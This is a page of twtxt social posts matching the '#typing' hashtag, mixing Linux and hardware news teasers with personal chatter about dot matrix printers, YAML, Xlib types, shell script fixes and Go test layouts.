Searching txt.sour.is

Twts matching #typing
Sort by: Newest, Oldest, Most Relevant

[$] Kernel hackers at Cauldron, 2025 edition
The GNU Tools Cauldron is almost entirely focused on user-space tools, but
kernel developers need a solid toolchain too. In what appears to be a
developing tradition ( started in 2024),
some kernel developers attended the 2025 Cauldron for the
second year in a row to discuss their needs with the assembled toolchain
developers. Topics covered in this year’s gathering include Rust, better
[BPF type\
format (BTF … ⌘ Read more

⤋ Read More

Tiny RISC-V Development Board with WCH CH32V317WCU6 Available from $6.80
The nanoCH32V317 is a compact development board created by MuseLab to simplify prototyping and embedded system development. It integrates USB connectivity, Ethernet support, and a straightforward programming interface through USB Type-C, providing an accessible platform for engineers and hobbyists working with RISC-V microcontrollers. The board is powered by the WCH CH32V317WCU6, a RISC-V microcontro … ⌘ Read more

⤋ Read More

MacOS Tahoe 26 Feels Slow? Try These 6 Performance Tips
Some Mac users who have updated to macOS Tahoe 26 feel like the new operating system runs slower than their prior MacOS installation did. Reports online suggest there can be general sluggishness and lagging performance, sometimes with frame rate drops and stuttering animations on the screen, or even when typing. Other users in various forums … Read MoreRead more

⤋ Read More
In-reply-to » at first i dismissed the idea of likes on twtxt as not sensible...like at all — then i considered they could just be published in a metadata field (though that field could get really unruly after a while)

@zvava@twtxt.net I never used any of the social media platforms, that’s why I’m probably ignorant.

I don’t understand the concept of a retwt. Just quote the (relevant) parts from whereever and comment on that. Or post a link instead of a quote. Sounds simple enough. :-) That’s also has the benefit that it works with every source, no matter what. Since it’s called retwt, I’d imagine this to only work (well) with whatever messages the system itself offers. But I could be wrong. What would be the benefit of having a dedicated message type or structure for “hey, look at that” messages in your opinion?

Hmm, what’s a content warning?

⤋ Read More
In-reply-to » @lyse You might enjoy this one: https://github.com/TheMozg/awk-raycaster

@movq@www.uninformativ.de Holy shit, that’s insane! :-D I tried it, but i’m absolutely terrible at these type of games. I’m having trouble with the keys to move around. Maybe after ages I would pick it up and it becomes natural. I just was never a real gamer.

I will definitely try to read through the code, though! This looks sick. 8-)

⤋ Read More

Three weather services with three different forecasts. We got a little bit rained on, so at least some of them were not completely wrong. The timing was off by an hour, though. And nobody expected the Spanish inqui^W^Wthunder either. It was a nice walk.

Oh cool, as I type this, lighning and thunder very close by now. At most a kilometer away. Glad I’m home and not in the woods anymore. And heavy rain kicks in, too.

⤋ Read More
In-reply-to » I’ve got a prototype of my hardcopy simulator going. I’m typing on the keyboard and the “display” goes to the printer:

@lyse@lyse.isobeef.org Yeah, removing the cover will probably help. I’ll have to try. 😅 And, yes, the scrolling is pretty annoying (and kind of ruins the experience a little bit).

The printer isn’t that loud – at least not for a dot matrix printer. 😅 It’s been ~30 years since I’ve last seen them in person, but I remembered these things to be louder. I’m typing on my Model M, maybe that contributes to the perceived noise on this video. Here’s an isolated recording of that keyboard: https://movq.de/v/ddc98b03d8/2022-02-21–model-m-goes-brrr.ogg 🤣 It really sounds like that when you’re typing fast. Brrrrt.

⤋ Read More

I’ve got a prototype of my hardcopy simulator going. I’m typing on the keyboard and the “display” goes to the printer:

https://movq.de/v/56feb53912/s.png

https://movq.de/v/235c1eabac/MVI_8810.MOV.mp4

The biiiiiiiiiig problem is that the print head and plastic cover make it impossible to see what’s currently being printed, because this is not a typewriter. This means: In order to see what I just entered, I have to feed the paper back and forth and back and forth … it’s not ideal.

I got that idea of moving back/forth from Drew DeVault, who – as it turned out – did something similar a few years back. (I tried hard to read as little as possible of his blog post, because figuring things out myself is more fun. But that could mean I missed a great idea here or there.)

But hey, at least this is running on my Pentium 133 on SuSE Linux 6.4, printer connected with a parallel cable. 😍

(Also, yes, you can see the printouts of earlier tests and, yes, I used ed(1) wrong at one point. 🤪 And ls insisted on using colors …)

⤋ Read More

Since 2020, I’ve been putting together one playlist every year, in which each track represents one month of that year. However, I also have assigned each season two specific songs, which does not change year-to-year: Spring: “A Little Bit Of Love” by Weezer and “Gretel” by Alex G; Summer: “Dumb” by Roe Kapara and “Endless Bummer” by Weezer; Autumn: “1979” by The Smashing Pumpkins and “The Dead Come Talking” by Roe Kapara; Winter: “Red Water (Christmas Mourning)” by Type O Negative and “Christmas Time (Don’t Let The Bells End)” by The Darkness

⤋ Read More
In-reply-to » Sooooooooo, things happened, and I now have a dot matrix printer again. 😍😂

@movq@www.uninformativ.de Are you sure?

because there is virtually no market for these devices anymore, meaning new ones are very, very expensive.

I think dot matrix printers are still pretty common in many Point of Sales (POS) registers right? At least here in AU they’re very common. I had a quick look myself today, there seems to be quite a solid market for these types of printers. In fact even EPSON still sell Dot Matrix printers themselves 🤣

⤋ Read More
In-reply-to » What’s Missing from “Retro”: gopher://midnight.pub/0/posts/2679

@movq@www.uninformativ.de having to go to a gopher proxy to see a text document better served on readily available web servers… 🤭, but I digress. Verbatim text:

What's Missing from "Retro"
~softwarepagan
------------------------------------------------------------------
You know, often, when I say I miss older ways of computing or
connecting online, people tell me "there's nothing stopping you
from doing that now!" and they are technicay correct in most cases
(though I can't, for example, chat with friends on MSN ever
again...) However, let me explain that while this type of thing can
*sort of* fill that hole in my heart, it isn't *the same.*

Say, for example, I wanted to connect with others over a BBS. This
wouldn't offer the same types of connections it used to. While
there are BBSes around with active users, they're no longer there
to discuss movies, Star Trek, D&D, games, etc. They're there to
discuss *BBSes.* The same can be said for Gopher, old-school forums
and all sorts of revival projects (such as Escargot, Spacehey,
etc.) Retrocomputing enthusiasts, while they have a variety of
interests, are often in these spaces to discuss the medium itself
and not other topics. This exists at a stark contrast from how
things were in the past, where a non-tech-inclined person may learn
the tech to connect with likeminded others (as I did as a
Zelda-obsessed kid.)

The same can be said of old media. People will say "well, nobody is
stopping you from watching old shows/movies now!" Again, they are
technically correct. I can go home right now and watch *Star Trek:
The Next Generation* to my heart's content. It will never again,
however, be current, or new. When something is new, it serves as a
shared cultural experience. Remember how "Game of Thrones* felt in
the mid-to-late 2010s? Yeah, that.

It's sad. I sustain myself on a mixed diet of old things, new
things, and new things intended for old millenials like me who like
old things. It can be bittersweet. 

⤋ Read More
In-reply-to » You can explicitly use colors in manpages. I saw this in the apt manpage of Ubuntu recently, which, for some reason, uses blue text in one place:

Ah, so apparently they don’t like writing manpages anymore and instead use XML:

https://salsa.debian.org/apt-team/apt/-/blob/main/doc/apt.8.xml

And then they use XSLT on top and what not:

https://salsa.debian.org/apt-team/apt/-/blob/main/doc/manpage-style.xsl.cmake.in

It’s not even explicitly blue:

https://salsa.debian.org/apt-team/apt/-/blob/main/doc/apt.ent?ref_type=heads#L17

Abstractions upon abstractions upon abstractions.

⤋ Read More
In-reply-to » I have a Python script that transforms the original YouTube channel Atom feed into a more useful Atom feed by removing the spam description and replacing it with the video duration, filtering out videos by title, duration, etc. I just updated it to exclude the damn Shorts garbage more efficiently. Finally, YouTube updated their Atom feed generation, so that the video URL contains /short/ if it's of this useless kind. Never thought that they ever actually will improve their Atom feeds. Thank you, much appreciated!

@kat@yarn.girlonthemoon.xyz @movq@www.uninformativ.de Sorry, I neither finished it nor in time. :-( That’s as good as it’s gonna get for the moment: https://git.isobeef.org/lyse/gelbariab/-/tree/master/rss-proxys?ref_type=heads

The README should hopefully provide a crude introduction. The example configuration file is documented fairly well, I believe (but maybe not). You probably still have to consult and maybe also modify the source code to fit your needs.

Let me know if you run into issues, have questions, wishes etc.

⤋ Read More

Here’s an example of X11/Xlib being old and archaic.

X11 knows the data type “cardinal”. For example, the window property _NET_WM_ICON (which holds image data for icons) is an array of “cardinal”. I am already not really familiar with that word and I’m assuming that it comes from mathematics:

https://en.wikipedia.org/wiki/Cardinal_number

(It could also be a bird, but probably not: https://en.wikipedia.org/wiki/Cardinalidae)

We would probably call this an “integer” today.

EWMH says that icons are arrays of cardinals and that they’re 32-bit numbers:

https://specifications.freedesktop.org/wm-spec/latest-single/#id-1.6.13

So it’s something like 0x11223344 with 0x11 being the alpha channel, 0x22 is red, and so on.

You would assume that, when you retrieve such an array from the X11 server, you’d get an array of uint32_t, right?

Nope.

Xlib is so old, they use char for 8-bit stuff, short int for 16-bit, and long int for 32-bit:

https://x.org/releases/current/doc/libX11/libX11/libX11.html#Obtaining_and_Changing_Window_Properties

That is congruent with the general C data types, so it does make sense:

https://en.wikipedia.org/wiki/C_data_types

Now the funny thing is, on modern x86_64, the type long int is actually 64 bits wide.

The result is that every pixel in a Pixmap, for example, is twice as large in memory as it would need to be. Just because Xlib uses long int, because uint32_t didn’t exist, yet.

And this is something that I wouldn’t know how to fix without breaking clients.

⤋ Read More
In-reply-to » Xfce does one thing very right: It stores its settings in plain-text XML files. This allows me to easily read, track, and maybe even distribute these settings to other machines.

@lyse@lyse.isobeef.org @kat@yarn.girlonthemoon.xyz I spent so much time in the past figuring out if something is a dict or a list in YAML, for example.

What are the types in this example?

items:
- part_no:   A4786
  descrip:   Water Bucket (Filled)
  price:     1.47
  quantity:  4
- part_no:   E1628
  descrip:   High Heeled "Ruby" Slippers
  size:      8
  price:     133.7
  quantity:  1

items is a dict containing … a list of two other dicts? Right?

It is quite hard for me to grasp the structure of YAML docs. 😢

The big advantage of YAML (and JSON and TOML) is that it’s much easier to write code for those formats, than it is with XML. json.loads() and you’re done.

⤋ Read More

** Of fairies, compost, and computers **
Lately I’ve buried myself in reading fiction. Stand outs from among the crowd are, of course, Middlemarch but also a lot of sort of scholarly fairy fiction; works that follow the scholastic adventures of studious professorial types in vaugely magical settings. Namely Emily Wilde’s Encyclopedia of Faeries’, Heather Fawcett and The Ten Thousand Doors of January, Alix E. Harrow.

I’ve also been working on a handful of personal utility programs. I … ⌘ Read more

⤋ Read More

[$] Improving iov_iter
The iov_iter interface is used to
describe and iterate through buffers in the kernel. David Howells led a combined storage and
filesystem session at
the 2025 Linux Storage,
Filesystem, Memory Management, and BPF Summit (LSFMM+BPF) to discuss ways
to improve iov_iter. His topic\
proposal listed a few different ideas including replacing some
iov_iter types and possibly allowing mixed types in chains of … ⌘ Read more

⤋ Read More

Snake bite victims urged to seek help regardless of what type they think it is
A coroner this week has been looking into whether there should be more education about snake bites after 11-year-old Tristian Frahm died when he didn’t get medical assistance. ⌘ Read more

⤋ Read More

‘Fit, healthy’ 13-year-old’s family rocked by rare cancer diagnosis
Kobi Jones was at football training when he started to experience chest pain. Not long after that he was being treated for a type of cancer all but unheard of in people of his age. ⌘ Read more

⤋ Read More

The diabetes program lifting people out a ‘really dark place’
When Kelly Anderson suddenly lost her daughter, she became depressed and rapidly gained weight. A community exercise program helped turn her life around. ⌘ Read more

⤋ Read More
In-reply-to » @bender @prologic Jokes aside, I don't think that's the right approach either. We had spell checkers, since I can remember, as well as other tools, like the smart image select, used mostly to remove backgrounds. These are tools, that just simplify the process of either opening up a dictionary and looking up a word, you can't remember the spelling of, or the process of placing a billion little dots around the part of an image you want to select - none of these are creative or enjoyable tasks, we already had tools for them, decades before AI. I don't think we need to go back to cave paintings, to be free of AIs influence on our creative work.

@thecanine@twtxt.net right. Spell checkers are not AI. Full grammar checking, and correction? That one I have not seeing, but on AI. So, what I meant was, let the grammar gaffes show; we type as we speak (most of the time). About spelling mistakes, well, let them be corrected as we have done since 1971(?).

⤋ Read More
In-reply-to » Wanna read something very scary?

@thecanine@twtxt.net @movq@www.uninformativ.de So I actually agree with you! I think Dustin is taking a bit of a “deep and dark” path here (depression), and there are many parallels to other types of activities that we can all talk to. “AI” or “LLM”(s) here should be no different. Use them, Don’t use them. I don’t really see how it takes away our creativity or critical thinking.

⤋ Read More
In-reply-to » @kat my terrible script https://bytes.4-walls.net/kat/dotfiles/src/branch/main/scripts/Scripts/tinypin-log.sh

@kat@yarn.girlonthemoon.xyz You don’t need to change the directory first in line 11, you can just create the directory, that’s sufficient since you’re having an absolute path.

The echo in line 13 is useless, you can simplify this to: newdir="$WD/$now" If you reversed this line with the previous one, you could make use of the variable in the directory creation: mkdir "$newdir".

In line 16, pull the directory change out of the loop upfront. The loop body doesn’t modify the working directory, so no need to reset it with each cycle. In fact, you could even spare the cd altogether when you simply tell find where to look: find "$basedir" -type f….

I didn’t try it, but if I read the manpage correctly, you should be able to simplify line 19 as well:

-C Change to DIR before performing any operations. This option is order-sensitive, i.e. it affects all options that follow.

Hence, remove the cd and put the -C "$WD" as the first argument to tar. Again, I didn’t try it. Proceed with caution.

Finally, you don’t need to specify the full path to rm in line 21. I bet, /bin is in your PATH. When you removed the previous cd from my last suggestion, the relative path that follows won’t work anymore. So, just use the absolute path that you already have in a variable: rm -rf "$newdir"

I hope you find this tiny review a wee bit useful. :-)

⤋ Read More
In-reply-to » tar and find were written by the devil to make sysadmins even more miserable

@kat@yarn.girlonthemoon.xyz @movq@www.uninformativ.de @prologic@twtxt.net Yeah, I’m also having them in my repertoire for ages, so I’m used to the weird command line options. From today’s perspective, they’re not consistent with the rest of the typical shell utilities, that’s for sure.

Regarding find | grep foo, I recommend find -name '*foo*', prologic. Also, I regularly use -type d and -type f to find directories or files.

⤋ Read More

** Crinkly chip bags **
I usually read pretty fast. I’ve been intentionally reading Middlemarch slowly. Chapter by chapter. This forced restraint makes reading Middlemarch feel sort of religious in pace and intention.

I fell back down the type theory hole, and have once again thought to myself“what about Haskell?” and“what about algebraic data types?” These thoughts are questionable and my motivations dubious, but here I am again imagining tiny type carrying backpacks strapped to little guys — bees, beetles, and other crawlies.

My part … ⌘ Read more

⤋ Read More

Arduino Uno Gets Upgraded with Integrated Ethernet and USB Type-C
The UnoNet is a microcontroller board based on the ATmega328PB, designed with the same form factor and pin layout as the Arduino Uno Rev 3. It integrates Ethernet via a W5500 controller and includes a USB Type-C port, RJ45 connector, DC barrel jack, ICSP header, and reset button. The ATmega328PB is clocked at 16 MHz […] ⌘ Read more

⤋ Read More

Luckfox Core1106 Smart 86 Box with Touchscreen, RS485 Interface, and Optional Wireless Connectivity
The Luckfox Core1106 Smart 86 Box is a development board designed for integration into standard 86-type wall enclosures. Based on the Luckfox-Pico-86-Panel series, it features Rockchip’s RV1106G2 or RV1106G3 processor and is intended for use in smart home interfaces and industrial control systems. This device uses a single-core ARM Cortex-A7 proces … ⌘ Read more

⤋ Read More
In-reply-to » @prologic not me. I hate monosyllabic replies, specifically on the written medium, so I am just typing this to make it longer. But that doesn't change the truth, and that is, I don't want, nor care, about twtxt, and Activity Pub integration. 😅

“Monosyllabic replies” refers to responses that consist of a single syllable. These types of replies are typically brief and concise, often used in situations where a simple, direct answer is given. Examples include words like “Yes,” “No,” “Okay,” or “Sure.”

😂 Can I imply you’re not interested in things like “LIke”, “Report”, etc?! 😂

⤋ Read More
In-reply-to » After yarnd v0.16 is released and the next round of specification updates are done and dusted, who wants me to have another crack at building Twtxt and activity pub integration support?

@prologic@twtxt.net not me. I hate monosyllabic replies, specifically on the written medium, so I am just typing this to make it longer. But that doesn’t change the truth, and that is, I don’t want, nor care, about twtxt, and Activity Pub integration. 😅

⤋ Read More

[$] Better debugging information for inlined kernel functions
Modern compilers perform a lot of optimizations, which can complicate debugging.
Song Liu and Thierry Treyer spoke about a potential improvement to
BPF Type Format (BTF) debugging information that could partially combat that
problem at the 2025 Linux Storage, Filesystem,
Memory-Management, and BPF Summit.
They want to add information on selectively inlined functions to BTF in order to
better support tracing tools.
Trey … ⌘ Read more

⤋ Read More

Meson 1.8.0 released
Version 1.8.0
of the Meson build system has
been released. Notable changes in this release include the ability to
run rustdoc for Rust projects, support for the c2y and gnu2y
compiler options, and a new argument ( android_exe_type) that
makes it possible to use the same meson.build file for
Android and non-Android systems. ⌘ Read more

⤋ Read More

Today I added support for Let’s Encrypt to eris via DNS-01 challenge. Updated the gcore libdns package I wrote for Caddy, Maddy and now Eris. Add support for yarn’s cache to support # type = bot and optionally # retention = N so that feeds like @tiktok@feeds.twtxt.net work like they did before, and… Updated some internal metrics in yarnd to be IMO “better”, with queue depth, queue time and last processing time for feeds.

⤋ Read More

Interesting factoid… By inspecting my “followers” list every now and again, I can tell who uses a client like jenny, tt or any other client where fetches are driven by user interactions of invoking the app. What do we call this type of client? Hmmm 🤔 Then I can tell who uses yarnd because they are “seen” more frequently 🤣

⤋ Read More

Even though I really do like the shell, I always use Dolphin to mount my digicam SD card and copy the photos onto my computer. I finally added a context menu item in Dolphin to create a forest stroll directory with the current date in order to save some typing:

Image

The following goes in ~/.local/share/kservices5/ServiceMenus/galmkdir.desktop:

[Desktop Entry]
Type=Service
X-KDE-ServiceTypes=KonqPopupMenu/Plugin,inode/directory
Actions=Waldspaziergang;

[Desktop Action Waldspaziergang]
Name=Heutigen Waldspaziergang anlegen…
Icon=folder-green
Exec=~/src/gelbariab/galmkdir "%f"

In order to update the KDE desktop cache and make this action menu item available in Dolphin, I ran:

kbuildsycoca5

The referenced galmkdir script looks like that:

#!/bin/sh
set -e

current_dir="$1"
if [ -z "$current_dir" ]; then
    echo "Usage: $0 DIRECTORY" >&2
    exit 1
fi

dir="$(kdialog \
    --geometry 350x50 \
    --title "Heutigen Waldspaziergang anlegen" \
    --inputbox "Neues Verzeichnis in „$current_dir“ anlegen:" \
    "waldspaziergang-$(date +%Y-%m-%d)")"
mkdir "$current_dir/$dir"
dolphin "$current_dir/$dir"

This solution is far from perfect, though. Ideally, I’d love to have it in the “Create New” menu instead of the “Actions” menu. But that doesn’t really work. I cannot define a default directory name, not to mention even a dynamic one with the current date. (I would have to update the .desktop file every day or so.) I also failed to create an empty directory. I somehow managed to create a directory with some other templates in it for some reason I do not really understand.

Let’s see how that works out in the next days. If I like it, I might define a few more default directory names.

⤋ Read More

Gmail Showing 1 Unread Message? Here’s How to Find It
If you’re the type of person who likes to maintain Inbox Zero, or who recently went and tidied up their Gmail inbox to get every email marked as read, you may come across a frustrating situation where Gmail shows 1 unread message, and you simply can’t locate that unread email message in Gmail. If you … Read MoreRead more

⤋ Read More

Aqara Expands Advanced Matter Bridging to Older Hubs, Adds Support for New Device Types
Smart home company Aqara today announced plans to further integrate Matter into its product offerings. Aqara is bringing its Advanced Matter Bridging feature to all Aqara Matter controllers and bridges, rather than limiting the functionality to just the Hub M3 … ⌘ Read more

⤋ Read More

[$] A new type of spinlock for the BPF subsystem
The 6.15 merge window saw the inclusion of a new type of lock for BPF programs:
a resilient queued spinlock that Kumar Kartikeya Dwivedi has been working on
for some time. Eventually, he hopes to convert all of the spinlocks currently
used in the BPF subsystem to his new lock.
He gave a remote presentation about the design of the lock at the
2025 Linux Storage, Filesystem,
Memory-Management, and BPF summit. ⌘ Read more

⤋ Read More

[$] Improving hot-page detection and promotion
Tiered-memory systems feature multiple types of memory with varying
performance characteristics; on such systems, good performance depends on
keeping the most frequently used data in the fastest memory. Identifying
that data and placing it properly is a challenge that has kept developers
busy for years. Bharata Rao, presenting remotely during a
memory-management-track session at the 2025 Linux Storage, Filesystem,
Memory-Management, and BPF Summit, led a discussion on [a potential soluti … ⌘ Read more

⤋ Read More

How to Play Ambient Music on iPhone
One of the more interesting features to arrive on iPhone lately is the Ambient Music player, which, as the name implies, plays ambient music. This neat audio feature was introduced with iOS 18.4, and the Ambient Music Player offers four different ambient music types to play; Sleep, Chill, Productivity, and Wellbeing. While the Ambient Music … Read MoreRead more

⤋ Read More
In-reply-to » This weekend (as some of you may now) I accidently nuke this Pod's entire data volume 🤦‍♂️ What a disastrous incident 🤣 I decided instead of trying to restore from a 4-month old backup (we'll get into why I hadn't been taking backups consistently later), that we'd start a fresh! 😅 Spring clean! 🧼 -- Anyway... One of the things I realised was I was missing a very critical Safety Controls in my own ways of working... I've now rectified this...

@lyse@lyse.isobeef.org I’m open to other suggestions 🤣 But hopefully both adding the additional prompt, not allowing it to enter shell history and removing from my shell history prevents me from doing such silly things in haste by pressing ^R and using fuzzy search which if you type fast you sometimes get wrong 😑

⤋ Read More

[$] Improving the merging of anonymous VMAs
The virtual memory area (VMA), represented by struct\
vm_area_struct, is one of the core abstractions of the kernel’s
memory-management subsystem; a VMA represents a portion of a process’s
address space with the same characteristics. A memory-mapped file will be
represented by (at least) one VMA, as will the process’s stack or a region
of anonymous memory. Efficiently managing VMAs and the logic around them
i … ⌘ Read more

⤋ Read More
In-reply-to » Wow, phishing is just around the corner 👀

@eapl.me@eapl.me Interesting! Two points stood right out to me:

  1. Why the hell are e-mail newsletters considered a valid option in the first place? Just offer an Atom feed and be done with it! Especially for a blog of this very type. This doesn’t even involve a third party service. Although, in addition he also links to Feedburner, what the fuck!? No e-mail address or the like is needed and subject to being disclosed.

  2. When these spam mailers want to prevent resubscribing, then for fuck’s sake, why don’t they use a hash of the e-mail address (I saw that in yarnd) for that purpose? Storing the e-mail address in clear text after unsubscribing is illegal in my book.

⤋ Read More
In-reply-to » i really wanna learn golang it looks fun and capable and i can read it kind of but every time i try it i'm immediately stuck on basic concepts like "what the fuck is a pointer" (this has been explained to me and i still don't get it). i did have types explained to me as like notes on code which makes sense a bit but i'm mostly lost on basic code concepts

@movq@www.uninformativ.de Oh, right, a type would be good to have! :-D

⤋ Read More
In-reply-to » i really wanna learn golang it looks fun and capable and i can read it kind of but every time i try it i'm immediately stuck on basic concepts like "what the fuck is a pointer" (this has been explained to me and i still don't get it). i did have types explained to me as like notes on code which makes sense a bit but i'm mostly lost on basic code concepts

@lyse@lyse.isobeef.org (I think of pointers as “memory location + type”, but I have done so much C and Assembler by now that the whole thing feels almost trivial to me. And I would have trouble explaining these concepts, I guess. 😅 Maybe I’ll cover this topic with our new Azubis/trainees some day …)

⤋ Read More

It’s extremely surprising to me that younger non-technical people just type in their full name (properly cased first and last name with a space in between) for a technical username in account registration or login forms. I’ve seen that happening several times in the past few years. The field name is “Benutzername” in German, literally “username”. Even adding a placeholder text to signal that they could simply use their nickname in lowercase did not change anything at all. Well, one person used at least an e-mail address.

This wasn’t the case six, seven years ago, everybody had some “real” username. Even non-techies. It looks like some “common knowledge” is getting lost. Strange. Very weird. It trips me every time I see it.

Have you experienced something similar?

⤋ Read More
In-reply-to » Is there a way to auto-insert a time stamp on vi or vim at the beginning of each line? Like, upon opening like so:

@david@collantes.us While you’re typing? I guess this could be used as a starting point (doesn’t work on the very first line):

inoremap <CR> <Esc>:r!date +"\%F \%T"<CR>A 

What’s the end goal here? 😅

⤋ Read More

i really wanna learn golang it looks fun and capable and i can read it kind of but every time i try it i’m immediately stuck on basic concepts like “what the fuck is a pointer” (this has been explained to me and i still don’t get it). i did have types explained to me as like notes on code which makes sense a bit but i’m mostly lost on basic code concepts

⤋ Read More

@andros@twtxt.andros.dev Can you reproduce any of this outside of your client? I can’t spot a mistake here:

$ curl -sI 'http://movq.de/v/8684c7d264/.html%2Dindex%2Dthumb%2Dgimp11%2D1.png.jpg'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 2615
Content-Type: image/jpeg
Date: Wed, 19 Mar 2025 19:53:17 GMT
Last-Modified: Wed, 19 Mar 2025 17:34:08 GMT
Server: OpenBSD httpd

$ curl -sI 'https://movq.de/v/8684c7d264/gimp11%2D1.png'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 131798
Content-Type: image/png
Date: Wed, 19 Mar 2025 19:53:19 GMT
Last-Modified: Wed, 19 Mar 2025 17:18:07 GMT
Server: OpenBSD httpd

$ telnet movq.de 80
Trying 185.162.249.140...
Connected to movq.de.
Escape character is '^]'.
HEAD /v/8684c7d264/.html%2Dindex%2Dthumb%2Dgimp11%2D1.png.jpg HTTP/1.1
Host: movq.de
Connection: close

HTTP/1.1 200 OK
Connection: close
Content-Length: 2615
Content-Type: image/jpeg
Date: Wed, 19 Mar 2025 19:53:31 GMT
Last-Modified: Wed, 19 Mar 2025 17:34:08 GMT
Server: OpenBSD httpd

Connection closed by foreign host.
$ 

⤋ Read More

How to Disable Type to Siri on MacOS Sequoia
The latest versions of MacOS make it easier than ever to use Type to Siri, but many Mac users are finding themselves accidentally triggering the ‘Type to Siri’ feature on their Mac running the latest MacOS Sequoia releases. This can be frustrating, and if you don’t use Siri or Type To Siri you might not … Read MoreRead more

⤋ Read More
In-reply-to » Dang it! I ran into import cycles with shared test utilities again. :-( Either I have to copy this function to set up an in-memory test storage across packages or I have to put it in the storage package itself and guard it with a build tag that is only used in tests (otherwise I end up with this function in my production binary as well). I don't like any of the alternatives. :-(

Thanks, @xuu@txt.sour.is, great explanation. In another project I’ve structured it exactly like you wrote. The mock storage over there extends the SQLite storage and provides mechanism to return errors and such for testing purposes:

  • storage/ defines the interface
    • sqlite/ implements the storage interface
    • mock/ extends the SQLite implementation by some mocking capabilities and assertions

Here, however, there are no storage subpackages. It’s just storage, that’s it. Everything is in there. The only implementation so far is an SQLite backend that resides in storage. My RAM storage is exactly that SQLite storage, but with :memory: instead a backing file on disk. I do not have a mock storage (yet).

I have to think about it a bit more, but I probably have to do exactly that in my tt rewrite, too. Sigh. I just have the feeling that in storage/sqlite/sqlite_test.go I cannot import storage/mock for the helper because storage/mock/mock.go imports and embeds the type from storage/sqlite. But I’m too tired right now to think clearly.

⤋ Read More

How to Upload Documents to ChatGPT
ChatGPT allows you to upload documents, which you can then describe, analyze, summarize, explain, or even get assistance with that particular document. ChatGPT works with just about any document type that you might be working with or come across in the world of tech and computers, including .pdf, .doc, .docx, .txt, .rtf, .xls, .xlsx, .csv, … Read MoreRead more

⤋ Read More
In-reply-to » Dang it! I ran into import cycles with shared test utilities again. :-( Either I have to copy this function to set up an in-memory test storage across packages or I have to put it in the storage package itself and guard it with a build tag that is only used in tests (otherwise I end up with this function in my production binary as well). I don't like any of the alternatives. :-(

@xuu@txt.sour.is My layout looks like this:

  • storage/
    • storage.go: defines a Storage interface
    • sqlite.go: implements the Storage interface
    • sqlite_test.go: originally had a function to set up a test storage to test the SQLite storage implementation itself: newRAMStorage(testing.T, $initialData) *Storage
  • controller/
    • feeds.go: uses a Storage
    • feeds_test.go: here I wanted to reuse the newRAMStorage(…) function

I then tried to relocate the newRAMStorage(…) into a

  • teststorage/
    • storage.go: moved here as NewRAMStorage(…)

so that I could just reuse it from both

  • storage/
    • sqlite_test.go: uses testutils.NewRAMStorage(…)
  • controller/
    • feeds_test.go: uses testutils.NewRamStorage(…)

But that results into an import cycle, because the teststorage package imports storage for storage.Storage and the storage package imports testutils for testutils.NewRAMStorage(…) in its test. I’m just screwed. For now, I duplicated it as newRAMStorage(…) in controller/feeds_test.go.

I could put NewRAMStorage(…) in storage/testutils.go, which could be guarded with //go:build testutils. With go test -tags testutils …, in storage/sqlite_test.go could just use NewRAMStorage(…) directly and similarly in controller/feeds_test.go I could call storage.NewRamStorage(…). But I don’t know if I would consider this really elegant.

The more I think about it, the more appealing it sounds. Because I could then also use other test-related stuff across packages without introducing other dedicated test packages. Build some assertions, converters, types etc. directly into the same package, maybe even make them methods of types.

If I went that route, I might do the opposite with the build tag and make it something like !prod instead of testing. Only when building the final binary, I would have to specify the tag to exclude all the non-prod stuff. Hmmm.

⤋ Read More
In-reply-to » lang=en @xuu gotcha! From that PR #17 I think it was reverted? We could discuss about metadata later this month, as it seems that I'm the only person using it.

it seems to be confused with the subject right next to it.. it works better at the end of the twt string.
Yarn won’t display anything. but the parser does add it to the AST in a way that you can parse it out using twt.Attrs().Get("lang")

https://git.mills.io/yarnsocial/go-lextwt/src/branch/main/ast.go#L1270-L1272

https://git.mills.io/yarnsocial/go-types/src/branch/main/twt.go#L473-L478

⤋ Read More
In-reply-to » @andros, I am getting:

also @Andros, I see that if I open that URL on my browser, I see weird characters in the .txt file:
description = 🏗
Perhaps your nginx server is missing a Content-Type: text/html; charset=utf-8 header?
https://serverfault.com/a/975289

In timeline it looks OK however, I think it’s relying on

The file must be encoded with UTF-8
of the original spec:
https://twtxt.readthedocs.io/en/latest/user/twtxtfile.html

⤋ Read More
In-reply-to » This document is the result of a series of discussions between Robert "Uncle Bob" Martin and John Ousterhout, held between September 2024 and February 2025. The text addresses three main topics: method length, comments, and Test Driven Development (TDD). https://github.com/johnousterhout/aposd-vs-clean-code/blob/main/README.md This is something to read and reflect on for days.

@andros@twtxt.andros.dev Just before the pandemic, we watched Uncle Bob videos once a week in the lunch break. While almost all of my old teammates agreed with his views, I partially found them to be very odd and even counterproductive.

I didn’t come across John Ousterhout or any of his work before, at least not deliberately. So, this document is my first contact.

I only finished the chapter on comments and I totally agree with John so far. This document just manifests to me how weird Bob’s view is on certain subjects.

I always disagreed with the concept of a maximum method length. Sure, generally, shorter functions are probably better, but it always depends. And I’ve certainly seen super short methods that just made the code flow even worse to follow. While “one function should only do one thing” is a nice general rule, I’m 100% in team John with the shown examples. There are cases, where this doesn’t help readability at all. Not even close.

To me, a function always has to justify its existence. Either by reusing it at least at another place or by coming up with dedicated tests for it. But if it is just called once and there are no tests, I almost always decide against it. Personally, I don’t mind longer methods. We just recently had a discussion about that and I lost against two other workmates who are more in Uncle Bob’s camp, they refactored one medium sized method into three very short ones. Luckily, we agree on most other topics.

Lol, what!? The shorter the method, the longer the variables inside? I first thought I misread or the writeup mixed it up. I’ll always do it the other way around.

I’ve been also bitten badly by outdated comments in the past, but Bob must have worked on really terrible projects to end up with such an attitude to dislike comments. Oh well. No doubt, I’ve come across by several orders of magnitude more useless comments, in my experience (autogenerated) JavaDocs fall in the category more frequently than not. So, I know that there are different types of comments. A comment doesn’t automatically mean that it is good and justified.

But I also partially agree with Bob and John and think that a good name has a proper chance to save a comment. Though, when in doubt, I go John’s route and use a shorter name with a comment rather than use a kilometer long identifier. Writing good comments typically takes some time, sometimes much longer than writing the code. It regularly takes me several minutes. It’s a hard art.

I perhaps should read up on John’s work. He seems to be more reasonable and likeminded. :-) Let me continue to complete this document.

⤋ Read More
In-reply-to » You have a microwave oven at home, right?

I’m surprised, here you can’t find dial controls anymore. How old are your ovens? The last one my parents had was from the 90s.

I was amazed experimenting with different combinations, for instance instead of 100, using 60 for a minute, 90 for 1:30, and stupid stuff like heating with 11, 22, 55 seconds and so, to make it quicker to type any time.

⤋ Read More

